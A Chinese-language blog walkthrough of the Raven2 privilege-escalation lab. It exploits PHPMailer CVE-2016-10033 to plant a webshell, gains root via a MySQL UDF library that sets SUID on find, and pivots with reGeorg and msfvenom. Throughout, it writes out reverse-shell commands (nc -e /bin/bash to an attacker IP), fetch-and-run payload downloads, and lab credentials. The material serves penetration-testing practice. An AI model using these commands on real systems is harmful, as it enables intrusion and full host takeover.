提权

提权

如何提权?–>对linux,对windows下载systeminfo文件,mysql提权

Windows提权

MySQL

udf提权

udf = ‘user defined function’,用户自定义函数。通过添加新函数对MySQL的功能进行扩充

内核提权

缓冲区溢出

烂土豆

Linux提权

脏牛提权

Raven2

获取root权限

要求使用反弹shell结合udf提权,整个过程尽量在攻击者主机操作

内网部署一台web主机,实现正向代理直接访问内网主机,使用hydra爆破内网主机弱口令再使用3389登录上去,搭建网卡的操作可以直接在raven2虚拟机上操作

信息收集

扫描 raven 的IP,初步确定为 192.168.142.148

nmap -sP 192.168.142.1/24

image-20250919141746849

访问192.168.142.148确定为目标主机

image-20250919141948442

扫描开放的端口,开放端口为22、80、111

nmap -sV 192.168.142.148

image-20250919142145797

111 端口开放了 rpcbind 服务,查看枚举所有注册的 RPC 服务

rpcinfo -p 192.168.142.148

image-20250919144138970

进行目录扫描,扫描到了 wordpress 目录和 vendor 目录

dirb http://192.168.142.148

image-20250919145424954

扫描wordpress存在的用户

image-20250919150244446

访问链接查看是否存在敏感信息

image-20250919145851299

查看VERSION文件发现phpmailer的版本为5.2.16

image-20250919152048611

拿下控制权

正好有个漏洞 CVE-2016-10033 ,影响 5.2.18 之前版本的phpmailer

接着去https://www.exploit-db.com/网站搜索这个漏洞的exp

image-20250919152802996

接着去kali主机查看是否有exp利用文件

searchsploit 40974

image-20250919152840877

发现有这个文件,先复制到桌面方便使用

cp /usr/share/exploitdb/exploits/php/webapps/40974.py ~/Desktop/40974.py

image-20250919153031510

接下来修改exp中的内容为需要攻击的对象

  • target 字段是设置攻击目标,通常是一个包含联系表单的页面

  • backdoor 后门路径攻,击成功后在目标服务器上创建的Webshell 文件的访问路径

  • payload 字段中修改反弹 shell 的 ip 和端口号

  • fields 字段 email 的访问后门文件的路径

apache 2 的默认路径为/var/www/html

image-20250919155209426

image-20250919154411379

修改完成后启动脚本,成功

image-20250919155611515

访问houmen文件测试连接

url = 192.168.142.148/houmen.php
bash = nc -lvvp 4444

image-20250919160035125

获得一个交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

image-20250919160254255

在 /var/www/html/wordpress 路径下查看wordpress的配置文件 wp-config.php ,发现数据库的账号密码

image-20250919160538483

提权

登录 mysql 的 root 账户,开始尝试使用 udf 提权

mysql -uroot -pR@v3nSecurity

image-20250919161000403

首先查看数据的写权限

show global variables like '%secure%';
# secure_file_priv 的 value 值为空则说明可在任意地进行写文件

image-20250919161537854

查看MySQL的版本

select version();

image-20250919162119708

数据库版本高于5.1,所以文件需要放在lib\plugin目录下才能生效

show global variables like '%plugin%';

image-20250919162330209

搜索MySQL进行udf提权的exp,靶场系统是linux,并且MySQL版本为5.5,这里选择 1518.c 文件作为exp

searchsploit mysql udf

image-20250919163127104

复制

cp /usr/share/exploitdb/exploits/linux/local/1518.c ~/Desktop/1518.c

使用 gcc 进行编译

gcc -g -c 1518.c

gcc -g -shared -o 1518.so 1518.o -lc

# -g 生成调试信息
# -c 进行编译
# -shared 创建一个动态链接库文件,输入文件可以是源文件、汇编文件或者目标文件
# -o 指定输出文件名称

接下来需要将刚刚生成的文件上传到靶机的 /tmp 目录下,Web用户没有对 /usr/lib/mysql/plugin/ 路径的写权限,需要先上传到 /tmp 或其他具有写权限的目录下

python -m http.server 9090		# kali主机启动一个http服务

wget http://192.168.142.132:9090/1518.so # 靶机下载exp文件

在mysql数据库下创建表 udf

create table udf(line blob);

将刚刚下载的1518.so文件插入到数据库中

insert into udf values(load_file('/tmp/1518.so'));

image-20250919171015637

接着将数据导出到 /usr/lib/mysql/plugin/ 路径下

select * from udf into dumpfile '/usr/lib/mysql/plugin/1518.so';
# outfile多行导出,dumpfile一行导出。outfile会有特殊的转换,而dumpfile是原数据导出

image-20250919171006995

创建自定义函数 do_system,函数类型为integer,别名(soname)文件名字

create function do_system returns integer soname '1518.so';

调用刚刚创建的do_system函数来给find命令所有者的suid权限,使其可以执行root命令

select do_system('chmod u+s /usr/bin/find');

image-20250919172308956

使用 find 执行 SUID 提权

touch udf

find udf -exec "/bin/sh" \;

whoami

image-20250919173142137

成功变成root用户

方法二反弹shell实现提权

在之前的反弹shell中数据库输入

select do_system('nc -nv 192.168.142.132 6677 -e /bin/bash');

kali主机进行监听

nc -lvvp 6677

python -c 'import pty; pty.spawn("/bin/bash")' # 获得一个交互式shell

image-20250921130657865

内网渗透

进行内网渗透,这里先修改root的密码为1234.com(好像没什么用)

image-20250921130836529

启动raven2的第二张网卡(模拟内网渗透环境)

echo "auto eth1" >> /etc/network/interfaces			# 设置网卡 eth1 为自启动
echo "iface eth1 inet dhcp" >> /etc/network/interfaces # 让网卡 eth1 使用 DHCP 协议自动获取 IP 地址
ifconfig eth1 up # 立即手工启用网卡
systemctl restart networking

# 输入完后第二张网卡就启动了

正向代理

上传 reGeorg 的 tunnel.nosocket.php 文件

python -m http.server 9090		# kali主机启动一个http服务

wget http://192.168.142.132:9090/tunnel.nosocket.php # 靶机下载文件

使用 kali 主机 python 启动 socks 服务

python2 reGeorgSocksProxy.py -p 1080 -u http://192.168.142.148/tunnel.nosocket.php

进行远程连接

proxychains xfreerdp /u:administrator /p:1234@qbz /v:192.168.247.129

image-20250921144842845

反向代理

尝试使用 msfvenom 生成反向TCP载荷进行反向代理

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.142.132 LPORT=1234 -f elf -o shell.elf

# -p linux/x64/meterpreter/reverse_tcp
# limux/x64/: 指定目标平台和架构为64 位的 Linux 系统。
# meterpreter/: 指定使用 Meterpreter 作为有效载荷。
# reverse_tcp: 指定连接方式为反向 TCP(由被控端主动连接攻击机)。
# -f elf: 指定输出格式为 ELF (Executable and Linkable Format),这是 Linux 系统标准的可执行文件格式。
# -o shell.elf: 指定输出文件名为 shell.elf。

将生成的文件上传到服务器中

python -m http.server 9090		# kali主机启动一个http服务

wget http://192.168.142.132:9090/shell.elf # 靶机下载exp文件

chmod +x shell.elf # 添加执行权限

./shell.elf

kali主机,使用msfconsole监听

msfconsole
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.142.132
set LPORT 1234
run

image-20250921140035945

Author: wickt42
Link: http://example.com/2025/09/19/提权/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.